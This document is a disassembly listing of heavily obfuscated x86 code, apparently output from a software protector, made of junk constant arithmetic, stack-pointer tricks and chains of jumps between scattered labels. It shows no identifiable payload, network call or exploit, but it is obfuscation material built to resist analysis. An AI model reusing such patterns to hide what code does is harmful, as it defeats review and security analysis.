		jmp	loc_58CE41
; ---------------------------------------------------------------------------


loc_58FBEA:				; CODE XREF: ud2_____:00590F48j
		not	bp
		add	bp, 1B11h
		shr	bp, 8
		add	bp, 7F4h
		and	ax, bp
		pop	ebp
		not	ax
		shl	ax, 8
		add	ax, 2C3h
		push	small 1B70h
		mov	[esp], dx
		push	61FAh
		mov	[esp], ebp
		mov	bp, 4629h
		inc	bp
		neg	bp
		dec	bp
		and	bp, 5A99h
		push	esi
		mov	si, 7164h
		jmp	loc_5816C2
; ---------------------------------------------------------------------------


loc_58FC34:				; CODE XREF: ud2_____:00590547j
		xor	dh, ch
		pop	ecx
		add	al, dh
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_588E26
; ---------------------------------------------------------------------------


loc_58FC52:				; CODE XREF: ud2_____:0058436Ej
		inc	edi
		jmp	loc_589C72
; ---------------------------------------------------------------------------


loc_58FC58:				; CODE XREF: ud2_____:0058705Ej
		add	esp, 4
		pop	edi
		not	edx
		add	edx, 1
		shl	edx, 6
		neg	edx
		jmp	loc_58669C
; ---------------------------------------------------------------------------


loc_58FC6E:				; CODE XREF: ud2_____:00591F76j
		neg	edx
		push	ebp
		mov	ebp, 7AC81675h
		and	edx, ebp
		pop	ebp
		add	edx, 0DDFFE9E0h
		sub	esi, 72245D87h
		add	esi, edx
		jmp	loc_592F9C
; ---------------------------------------------------------------------------


loc_58FC8C:				; CODE XREF: ud2_____:0058B900j
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, 66F0358Dh
		or	esi, 5E801A17h
		jmp	loc_581902
; ---------------------------------------------------------------------------


loc_58FCA4:				; CODE XREF: ud2_____:005877CFj
		sub	ebx, 1
		shl	ebx, 7
		push	ebx
		dec	dword ptr [esp]
		pop	ebx
		jmp	loc_58AC58
; ---------------------------------------------------------------------------


loc_58FCB4:				; CODE XREF: ud2_____:0058CEADj
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58F466
; ---------------------------------------------------------------------------


loc_58FCCB:				; CODE XREF: ud2_____:00591FA0j
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		jmp	loc_583A0A
; ---------------------------------------------------------------------------


loc_58FCDF:				; CODE XREF: ud2_____:0057FABBj
		pop	eax
		jmp	loc_588EC0
; ---------------------------------------------------------------------------


loc_58FCE5:				; CODE XREF: ud2_____:00582645j
		mov	eax, 4
		push	eax
		mov	eax, 704447AAh
		or	eax, 5627663h
		and	eax, 6047C45h
		xor	eax, 89E79C0h
		jmp	loc_58702B
; ---------------------------------------------------------------------------


loc_58FD04:				; CODE XREF: ud2_____:0057F1F5j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_589D5F
; ---------------------------------------------------------------------------


loc_58FD15:				; CODE XREF: ud2_____:00585A9Dj
		sub	eax, 442B0FE2h
		jmp	loc_589CCE
; ---------------------------------------------------------------------------


loc_58FD1F:				; CODE XREF: ud2_____:00581C7Ej
		xor	ebx, 0E9C486C5h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59244D
; ---------------------------------------------------------------------------


loc_58FD30:				; CODE XREF: ud2_____:0058F3C3j
		mov	[esp], edx
		push	3F89399Ch
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		mov	edi, 0DE81EEF2h
		xor	edx, edi
		pop	edi
		push	edx
		sub	dword ptr [esp], 236B54A7h
		jmp	loc_58C2CA
; ---------------------------------------------------------------------------


loc_58FD64:				; CODE XREF: ud2_____:0057F69Dj
		push	ecx
		jmp	loc_58D8AF
; ---------------------------------------------------------------------------


loc_58FD6A:				; CODE XREF: ud2_____:00589C7Ej
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		jmp	loc_59001C
; ---------------------------------------------------------------------------


loc_58FD7F:				; CODE XREF: ud2_____:00582340j
		xor	edx, 307BDE13h
		xor	eax, edx
		pop	edx
		push	4ECAh
		mov	[esp], ebx
		push	3BFh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58B3AB
; ---------------------------------------------------------------------------


loc_58FDA6:				; CODE XREF: ud2_____:0058F8ECj
		mov	[esp], bx
		mov	bh, dl
		jmp	loc_5867F5
; ---------------------------------------------------------------------------


loc_58FDB1:				; CODE XREF: ud2_____:00581ED1j
		push	6652h
		mov	[esp], ebx
		mov	ebx, 1EE6591h
		push	ecx
		mov	ecx, 11A15013h
		and	ecx, 6F2D5072h
		sub	ecx, 690B225Fh
		jmp	loc_58CD0A
; ---------------------------------------------------------------------------


loc_58FDD5:				; CODE XREF: ud2_____:0058D90Aj
		neg	ebx
		xchg	esi, ebx
		jmp	loc_58E43A
; ---------------------------------------------------------------------------


loc_58FDDE:				; CODE XREF: ud2_____:00581867j
		push	7BD47C06h
		pop	ebx
		sub	ebx, 620A7E83h
		neg	ebx
		push	esi
		mov	esi, 19C9FD87h
		add	ebx, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_585D96
; ---------------------------------------------------------------------------


loc_58FE04:				; CODE XREF: ud2_____:0058E379j
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_591473
; ---------------------------------------------------------------------------


loc_58FE0E:				; CODE XREF: ud2_____:00586DD7j
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 8C2E8188h
		jmp	loc_584A70
; ---------------------------------------------------------------------------


loc_58FE1F:				; CODE XREF: ud2_____:00587E01j
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 398B3B48h
		mov	ebx, 76E9630Fh
		sub	ebx, ebp
		pop	ebp
		xchg	edx, ebx
		jmp	loc_58EB4A
; ---------------------------------------------------------------------------


loc_58FE3D:				; CODE XREF: ud2_____:00589D2Cj
		xor	edi, 3D6B77E8h
		add	eax, edi
		mov	edi, [esp]
		jmp	loc_588124
; ---------------------------------------------------------------------------


loc_58FE4D:				; CODE XREF: ud2_____:00591333j
		shr	ecx, 0Bh
		push	6EE1h
		mov	[esp], ebx
		add	dword ptr [esp], 43B549A3h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	1A29h
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	419Bh
		mov	[esp], edi
		push	4
		pop	edi
		add	ebx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		push	ebp
		jmp	loc_58E7DD
; ---------------------------------------------------------------------------


loc_58FE98:				; CODE XREF: ud2_____:0058020Bj
		pop	esp
		jmp	loc_588CDE
; ---------------------------------------------------------------------------


loc_58FE9E:				; CODE XREF: ud2_____:00584DFDj
		pop	ebp
		jmp	loc_58FB0D
; ---------------------------------------------------------------------------


loc_58FEA4:				; CODE XREF: ud2_____:00592B98j
		mov	ebx, 3E9237EEh
		add	ebx, 1AD36AFAh
		neg	ebx
		dec	ebx
		push	edx
		mov	edx, 600018DCh
		dec	edx
		shl	edx, 5
		push	edx
		not	dword ptr [esp]
		pop	edx
		add	edx, 407B808Bh
		xor	ebx, edx
		pop	edx
		shr	ebx, 2
		jmp	loc_592ADD
; ---------------------------------------------------------------------------


loc_58FED2:				; CODE XREF: ud2_____:005835B5j
		mov	[esp], eax
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58FEDA:				; CODE XREF: ud2_____:0058CAF2j
		mov	eax, [esp]
		jmp	loc_592C26
; ---------------------------------------------------------------------------


loc_58FEE2:				; CODE XREF: ud2_____:005903D2j
		add	ebx, eax
		sub	ebx, 0FC912D1h
		add	ebx, 41012822h
		jmp	loc_587201
; ---------------------------------------------------------------------------


loc_58FEF5:				; CODE XREF: ud2_____:00586988j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58A384
; ---------------------------------------------------------------------------


loc_58FF00:				; CODE XREF: ud2_____:0057E964j
		push	ebp
		jmp	loc_58976F
; ---------------------------------------------------------------------------


loc_58FF06:				; CODE XREF: ud2_____:0057E4C8j
		sub	dword ptr [esp], 54946DE6h
		pop	ebp
		add	ebp, 54946DE6h
		sub	esp, 4
		mov	[esp], ecx
		push	21h
		mov	[esp], ebp
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, ecx
		pop	ecx
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 91179C3h
		sub	ecx, 59006AF8h
		sub	ecx, 0B0110EC7h
		add	esi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 64F3368Eh
		not	ebp
		shr	ebp, 7
		shl	ebp, 2
		add	ebp, 0D924CA6h
		jmp	loc_58AAB3
; ---------------------------------------------------------------------------


loc_58FF62:				; CODE XREF: ud2_____:0058386Bj
		add	edx, 0A842F90h
		add	edx, 27826275h
		or	edx, 25305911h
		and	edx, 36233C87h
		sub	edx, 242337FFh
		jmp	loc_5846A1
; ---------------------------------------------------------------------------


loc_58FF85:				; CODE XREF: ud2_____:0058E485j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_58546D
; ---------------------------------------------------------------------------


loc_58FF90:				; CODE XREF: ud2_____:00584F27j
		pop	edx
		sub	bh, 2Dh
		push	eax
		mov	ah, 0C5h
		jmp	loc_586897
; ---------------------------------------------------------------------------


loc_58FF9C:				; CODE XREF: ud2_____:005910EEj
		mov	ebx, [esp]
		push	edx
		jmp	loc_58C597
; ---------------------------------------------------------------------------


loc_58FFA5:				; CODE XREF: ud2_____:0058D8CEj
		mov	bl, 0D5h
		jmp	loc_5855A8
; ---------------------------------------------------------------------------


loc_58FFAC:				; CODE XREF: ud2_____:005805FBj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58C0F9
; ---------------------------------------------------------------------------


loc_58FFB5:				; CODE XREF: ud2_____:00581926j
		push	edi
		jmp	loc_58A61B
; ---------------------------------------------------------------------------


loc_58FFBB:				; CODE XREF: ud2_____:00580EA5j
		xor	edi, 37D5619Dh
		jmp	loc_581A0E
; ---------------------------------------------------------------------------


loc_58FFC6:				; CODE XREF: ud2_____:005914D3j
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59029E
; ---------------------------------------------------------------------------


loc_58FFD5:				; CODE XREF: ud2_____:00589352j
		mov	edi, esi
		pop	esi
		sub	ebp, 634B3A14h
		add	ebp, edi
		add	ebp, 634B3A14h
		pop	edi
		jmp	loc_5865F6
; ---------------------------------------------------------------------------


loc_58FFEC:				; CODE XREF: ud2_____:0058B4F2j
		add	esp, 4
		jmp	loc_58D293
; ---------------------------------------------------------------------------


loc_58FFF7:				; CODE XREF: ud2_____:0058F1C3j
		shl	ebx, 8
		inc	ebx


loc_58FFFB:				; DATA XREF: ud2_____:00569E2Do
		sub	ebx, 1
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 638246B9h
		jmp	loc_587705
; ---------------------------------------------------------------------------


loc_590011:				; CODE XREF: ud2_____:00588F54j
		add	edi, 0FAABC889h
		jmp	loc_5906E7
; ---------------------------------------------------------------------------


loc_59001C:				; CODE XREF: ud2_____:0058FD7Aj
		sub	edx, eax
		pop	eax
		xchg	edx, [esp]
		jmp	loc_58C59F
; ---------------------------------------------------------------------------


loc_590027:				; CODE XREF: ud2_____:00582A6Fj
		push	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_582123
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5813F4
; ---------------------------------------------------------------------------


loc_590051:				; CODE XREF: ud2_____:00587D20j
		mov	ebp, 6D4B2CD7h
		sub	ebp, 27C30F0Dh
		shl	ebp, 6
		dec	ebp
		sub	ebp, 556D64FEh
		add	ebx, ebp
		pop	ebp
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 592E5EAAh
		or	edx, 187E0FDBh
		push	edi
		push	ebp
		mov	ebp, 610B45C3h
		push	5374h
		mov	[esp], esi
		jmp	loc_58E751
; ---------------------------------------------------------------------------


loc_590090:				; CODE XREF: ud2_____:0058305Bj
		mov	esi, 6F86299Bh
		dec	esi
		jmp	loc_58B8CB
; ---------------------------------------------------------------------------


loc_59009B:				; CODE XREF: ud2_____:00586DA8j
		mov	[esp], ecx
		mov	ecx, 14404267h
		add	ecx, 377C1095h
		sub	ecx, 0B033EDBh
		and	ecx, 43D71A6Bh
		add	ecx, 27791024h
		or	ecx, 39A07E87h
		xor	ecx, 4A931CC0h
		jmp	loc_590DC4
; ---------------------------------------------------------------------------


loc_5900CC:				; CODE XREF: ud2_____:00587CE2j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_58E8C4
; ---------------------------------------------------------------------------


loc_5900E6:				; CODE XREF: ud2_____:0058A891j
		shr	eax, 4
		jmp	loc_58BB8B
; ---------------------------------------------------------------------------


loc_5900EE:				; CODE XREF: ud2_____:00592EEDj
		push	ebx
		jmp	loc_58CF76
; ---------------------------------------------------------------------------


loc_5900F4:				; CODE XREF: ud2_____:00588ADFj
		mov	ecx, [esp]
		jmp	loc_58B04B
; ---------------------------------------------------------------------------


loc_5900FC:				; CODE XREF: ud2_____:005899B5j
		push	dword ptr [esp]
		jmp	loc_58A33E
; ---------------------------------------------------------------------------


loc_590104:				; CODE XREF: ud2_____:005873B7j
		pop	ecx
		push	small 3976h
		mov	[esp], cx
		jmp	loc_58F491
; ---------------------------------------------------------------------------


loc_590112:				; CODE XREF: ud2_____:00591F0Dj
		pop	esi
		jmp	loc_585A79
; ---------------------------------------------------------------------------


loc_590118:				; CODE XREF: ud2_____:0058466Aj
		push	6EE6h
		push	esp
		jmp	loc_57E911
; ---------------------------------------------------------------------------


loc_590123:				; CODE XREF: ud2_____:0058FA30j
		sub	eax, 12E15D27h
		add	eax, 173307BBh
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 61C062C9h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_58776F
; ---------------------------------------------------------------------------


loc_590144:				; CODE XREF: ud2_____:0058A80Ej
		pop	ecx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	dx, [esp]
		push	1ACh
		jmp	loc_58E7C7
; ---------------------------------------------------------------------------


loc_590159:				; CODE XREF: ud2_____:0058BEF8j
		shr	esi, 3
		push	edx
		push	ecx
		mov	ecx, 54E7501Eh
		sub	ecx, 54E7501Eh
		mov	edx, ecx
		pop	ecx
		sub	edx, esi
		xchg	edx, esi
		mov	edx, [esp]
		jmp	loc_58F0FF
; ---------------------------------------------------------------------------


loc_590178:				; CODE XREF: ud2_____:005905E5j
		mov	[esp], esi
		mov	esi, 10C37CFBh
		dec	esi
		push	0
		sub	[esp], esi
		pop	esi
		sub	esi, 5CF11FC3h
		jmp	loc_592386
; ---------------------------------------------------------------------------


loc_590195:				; CODE XREF: ud2_____:00581AC4j
		pop	ebx
		add	bl, cl
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58ADC9
; ---------------------------------------------------------------------------


loc_5901B4:				; CODE XREF: ud2_____:0058021Ej
		mov	[esp], dx
		mov	dx, 0D1D6h
		xor	bp, dx
		mov	dx, [esp]
		add	esp, 2
		xor	ax, bp
		jmp	loc_586385
; ---------------------------------------------------------------------------


loc_5901CE:				; CODE XREF: ud2_____:0058DC1Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 5FF30A5Fh
		jmp	loc_58429C
; ---------------------------------------------------------------------------


loc_5901E9:				; CODE XREF: ud2_____:0058A60Aj
		add	ebp, 258F2582h
		pop	ecx
		push	62AAh
		jmp	loc_5805CB
; ---------------------------------------------------------------------------


loc_5901FA:				; CODE XREF: ud2_____:0058991Dj
		sub	ebp, 126C773Fh
		pop	esi
		mov	ecx, ebp
		jmp	loc_589D59
; ---------------------------------------------------------------------------


loc_590208:				; CODE XREF: ud2_____:0058D401j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	fs:[edx], al
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_59021A:				; CODE XREF: ud2_____:0057ED10j
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 9Ah
		dec	cl
		not	cl
		not	cl
		neg	cl
		xor	cl, 37h
		or	dh, cl
		pop	ecx
		inc	dh
		jmp	loc_58D210
; ---------------------------------------------------------------------------


loc_590237:				; CODE XREF: ud2_____:0059067Aj
		push	edi
		mov	edi, 0CDA68156h
		xor	ebx, edi
		pop	edi
		mov	ecx, ebx
		pop	ebx
		add	ecx, 0BE78AF55h
		add	edi, 16127553h
		add	edi, ecx
		push	edx
		jmp	loc_590D8D
; ---------------------------------------------------------------------------


loc_590257:				; CODE XREF: ud2_____:0057F68Ej
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		push	ebx
		push	dx
		mov	dl, 0ADh
		mov	bh, dl
		pop	dx
		not	bh
		push	4EA0h
		mov	[esp], eax
		push	edx
		mov	dh, 8Bh
		jmp	loc_5806DE
; ---------------------------------------------------------------------------


loc_590277:				; CODE XREF: ud2_____:0058B8B5j
		pop	ebp
		add	ecx, esi
		jmp	loc_58A3A8
; ---------------------------------------------------------------------------


loc_59027F:				; CODE XREF: ud2_____:005898BAj
		push	small 18Dh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_590293:				; CODE XREF: ud2_____:005853B3j
		mov	edx, esp
		push	edi
		sub	esp, 4
		jmp	loc_592663
; ---------------------------------------------------------------------------


loc_59029E:				; CODE XREF: ud2_____:0058FFD0j
		movzx	cx, al
		push	1D45h
		jmp	loc_58A5C3
; ---------------------------------------------------------------------------


loc_5902AC:				; CODE XREF: ud2_____:0057F363j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59284C
; ---------------------------------------------------------------------------


loc_5902C1:				; CODE XREF: ud2_____:005861AEj
		add	esi, ebx
		jmp	loc_590F72
; ---------------------------------------------------------------------------


loc_5902C8:				; CODE XREF: ud2_____:00581599j
		add	esp, 4
		push	60C3h
		mov	[esp], ebx
		jmp	loc_57F524
; ---------------------------------------------------------------------------


loc_5902DB:				; CODE XREF: ud2_____:00584626j
		push	edi
		mov	edi, 1A3D0705h
		sub	esi, edi
		pop	edi
		add	esi, edi
		jmp	loc_59186A
; ---------------------------------------------------------------------------


loc_5902EB:				; CODE XREF: ud2_____:005837F2j
		push	eax
		mov	eax, 4
		jmp	loc_57FA31
; ---------------------------------------------------------------------------


loc_5902F6:				; CODE XREF: ud2_____:00592760j
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_58287F
; ---------------------------------------------------------------------------


loc_59030A:				; CODE XREF: ud2_____:0059057Ej
		add	ecx, 771F55F1h
		xor	ecx, 5F7F5311h
		mov	ebx, ecx
		pop	ecx
		shr	ebx, 7
		xor	ebx, 1B9816E9h
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_589D67
; ---------------------------------------------------------------------------


loc_590339:				; CODE XREF: ud2_____:00583461j
		push	edi
		mov	edi, esp
		jmp	loc_58778A
; ---------------------------------------------------------------------------


loc_590341:				; CODE XREF: ud2_____:0058260Cj
		mov	esi, 5D8E4A0Ch
		xor	[esp+4], esi
		jmp	loc_57EDDF
; ---------------------------------------------------------------------------


loc_59034F:				; CODE XREF: ud2_____:0057F89Cj
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_57E4C7
; ---------------------------------------------------------------------------


loc_590366:				; CODE XREF: ud2_____:00591F89j
		sub	edx, 2E893353h
		pop	eax
		not	edx
		shr	edx, 3
		push	ebp
		push	3B0C039h
		pop	ebp
		xor	edx, ebp
		jmp	loc_58BC4E
; ---------------------------------------------------------------------------


loc_590380:				; CODE XREF: ud2_____:005880B5j
		sub	ebx, 49AB20E4h
		shl	ebx, 4
		shr	ebx, 4
		sub	ebx, 533740Dh
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_59256D
; ---------------------------------------------------------------------------


loc_5903A7:				; CODE XREF: ud2_____:0058279Dj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4A816888h
		add	eax, 3DB1177Fh
		sub	ebx, 41012822h
		add	ebx, 0FC912D1h
		jmp	loc_58FEE2
; ---------------------------------------------------------------------------


loc_5903D7:				; CODE XREF: ud2_____:00590C73j
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	3357h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58A4A3
; ---------------------------------------------------------------------------


loc_5903F9:				; CODE XREF: ud2_____:0057F711j
		sub	edx, 46DD40FDh
		sub	eax, edx
		pop	edx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_58F968
; ---------------------------------------------------------------------------


loc_59041D:				; CODE XREF: ud2_____:0058162Ej
		neg	ebp
		jmp	loc_585217
; ---------------------------------------------------------------------------


loc_590424:				; CODE XREF: ud2_____:0058038Aj
		movzx	ecx, ax
		jmp	loc_589080
; ---------------------------------------------------------------------------


loc_59042C:				; CODE XREF: ud2_____:00590AC0j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_58B1BF
; ---------------------------------------------------------------------------


loc_59043A:				; CODE XREF: ud2_____:0058E269j
		add	edi, 4
		jmp	loc_58B5CB
; ---------------------------------------------------------------------------


loc_590445:				; CODE XREF: ud2_____:0057E285j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_587342
; ---------------------------------------------------------------------------


loc_590453:				; CODE XREF: ud2_____:00583FCDj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	72A5h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_586117
; ---------------------------------------------------------------------------


loc_590469:				; CODE XREF: ud2_____:0058C4D8j
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58523C
; ---------------------------------------------------------------------------


loc_590486:				; CODE XREF: ud2_____:0058397Aj
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_581F9E
; ---------------------------------------------------------------------------


loc_5904A8:				; CODE XREF: ud2_____:00584376j
		xor	[esp], eax
		jmp	loc_582A69
; ---------------------------------------------------------------------------


loc_5904B0:				; CODE XREF: ud2_____:0058EDE7j
		neg	ecx
		not	ecx
		xor	ecx, 3159F133h
		sub	ebx, 75F1333Fh
		sub	ebx, ecx
		add	ebx, 75F1333Fh
		jmp	loc_585593
; ---------------------------------------------------------------------------


loc_5904CD:				; CODE XREF: ud2_____:0058473Cj
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		jmp	loc_57EB9E
; ---------------------------------------------------------------------------


loc_5904D8:				; CODE XREF: ud2_____:005838F1j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5904DD:				; CODE XREF: ud2_____:0057E2E0j
		add	ebp, 36E40393h
		add	ebp, 513B58CBh
		jmp	loc_58AC74
; ---------------------------------------------------------------------------


loc_5904EE:				; CODE XREF: ud2_____:0058849Dj
		mov	ecx, [esp]
		push	1B34h
		jmp	loc_592260
; ---------------------------------------------------------------------------


loc_5904FB:				; CODE XREF: ud2_____:0058BE98j
		pop	eax
		add	edi, 0D52A78D4h
		sub	eax, edi
		jmp	loc_585C4E
; ---------------------------------------------------------------------------


loc_590509:				; CODE XREF: ud2_____:0058EA16j
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_588EE7
; ---------------------------------------------------------------------------


loc_590516:				; CODE XREF: ud2_____:0058524Dj
		mov	ecx, 6471E759h
		jmp	loc_58095F
; ---------------------------------------------------------------------------


loc_590520:				; CODE XREF: ud2_____:00591B5Dj
		pop	esi
		jmp	loc_57F90E
; ---------------------------------------------------------------------------


loc_590526:				; CODE XREF: ud2_____:00587284j
		push	ecx
		mov	ch, 7
		mov	dl, 0CCh
		add	dl, ch
		pop	ecx
		push	ax
		mov	ah, 4
		add	dl, ah
		pop	ax
		jmp	loc_58A3E7
; ---------------------------------------------------------------------------


loc_59053B:				; CODE XREF: ud2_____:0058E1B3j
		not	ebx
		jmp	loc_5827CD
; ---------------------------------------------------------------------------


loc_590542:				; CODE XREF: ud2_____:00585496j
		mov	ch, 0DCh
		sub	ch, 5Fh
		jmp	loc_58FC34
; ---------------------------------------------------------------------------


loc_59054C:				; CODE XREF: ud2_____:00584CA8j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58E350
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	25ADh
		mov	[esp], esi
		push	4F5Ch
		mov	[esp], ebx
		push	ecx
		mov	ecx, 7EED7519h
		not	ecx
		add	ecx, 29975A29h
		jmp	loc_59030A
; ---------------------------------------------------------------------------


loc_590583:				; CODE XREF: ud2_____:0058D9E6j
		push	dx
		push	eax
		mov	ah, 39h
		mov	dh, 5Ah
		xor	dh, ah
		jmp	loc_5812B3
; ---------------------------------------------------------------------------


loc_590591:				; CODE XREF: ud2_____:0058B7CDj
		push	ebx
		push	edx
		jmp	loc_58E95D
; ---------------------------------------------------------------------------


loc_590598:				; CODE XREF: ud2_____:00587D18j
		mov	eax, [esp]
		jmp	loc_590DBE
; ---------------------------------------------------------------------------


loc_5905A0:				; CODE XREF: ud2_____:00586759j
		xor	ebx, eax
		jmp	loc_58E276
; ---------------------------------------------------------------------------


loc_5905A7:				; CODE XREF: ud2_____:00588DB6j
		pop	ebp
		dec	esi
		shr	esi, 1
		xor	esi, 78E1558Fh
		push	1A26h
		mov	[esp], esi
		not	dword ptr [esp]
		jmp	loc_58C1F7
; ---------------------------------------------------------------------------


loc_5905C1:				; CODE XREF: ud2_____:0058F756j
		xor	edx, 70FE18B1h
		add	edx, 0F824903Dh
		jmp	loc_5862D4
; ---------------------------------------------------------------------------


loc_5905D2:				; CODE XREF: ud2_____:00591429j
		mov	[esp], edx
		mov	edx, 22BA2EF8h
		xor	edx, 60A214E5h
		push	651Dh
		jmp	loc_590178
; ---------------------------------------------------------------------------


loc_5905EA:				; CODE XREF: ud2_____:005874FAj
		pop	ebx
		jmp	loc_58AAF9
; ---------------------------------------------------------------------------


loc_5905F0:				; CODE XREF: ud2_____:00589401j
		push	cx
		mov	ch, 68h
		sub	bl, ch
		mov	cx, [esp]
		add	esp, 2
		add	bl, 51h
		add	bl, 98h
		jmp	loc_580343
; ---------------------------------------------------------------------------


loc_59060B:				; CODE XREF: ud2_____:005866F4j
		push	dword ptr [esp]
		jmp	loc_5820CE
; ---------------------------------------------------------------------------


loc_590613:				; CODE XREF: ud2_____:00590AECj
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_58D869
; ---------------------------------------------------------------------------


loc_59062E:				; CODE XREF: ud2_____:00591D92j
		mov	[esp], cx
		jmp	loc_58DDCE
; ---------------------------------------------------------------------------


loc_590637:				; CODE XREF: ud2_____:0058B8C6j
		add	esp, 4
		sub	eax, 80C2540h
		add	eax, ebx
		add	eax, 80C2540h
		jmp	loc_580C3D
; ---------------------------------------------------------------------------


loc_59064B:				; CODE XREF: ud2_____:005851C8j
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_57E28A
; ---------------------------------------------------------------------------


loc_590655:				; CODE XREF: ud2_____:0058A415j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_57E2D6
; ---------------------------------------------------------------------------


loc_590665:				; CODE XREF: ud2_____:0058E906j
		mov	ebp, esp
		jmp	loc_588C45
; ---------------------------------------------------------------------------


loc_59066C:				; CODE XREF: ud2_____:00587109j
		push	esi
		mov	esi, 8476C0F5h
		xor	eax, esi
		pop	esi
		xor	ebx, eax
		pop	eax
		not	ebx
		jmp	loc_590237
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	23D7h
		jmp	loc_58C8BD
; ---------------------------------------------------------------------------


loc_59068D:				; CODE XREF: ud2_____:005873AFj
		mov	esi, 457F71C5h
		sub	dword ptr [esp+4], 50D5253Bh
		add	dword ptr [esp+4], 2FCA4B8Bh
		add	dword ptr [esp+4], 4BC6919h
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 4BC6919h
		sub	dword ptr [esp+4], 2FCA4B8Bh
		add	dword ptr [esp+4], 50D5253Bh
		mov	esi, [esp]
		add	esp, 4
		pop	ecx
		push	ebx
		mov	ebx, 14C81FF1h
		dec	ebx
		and	ebx, 21BE2BB3h
		jmp	loc_5911F7
; ---------------------------------------------------------------------------


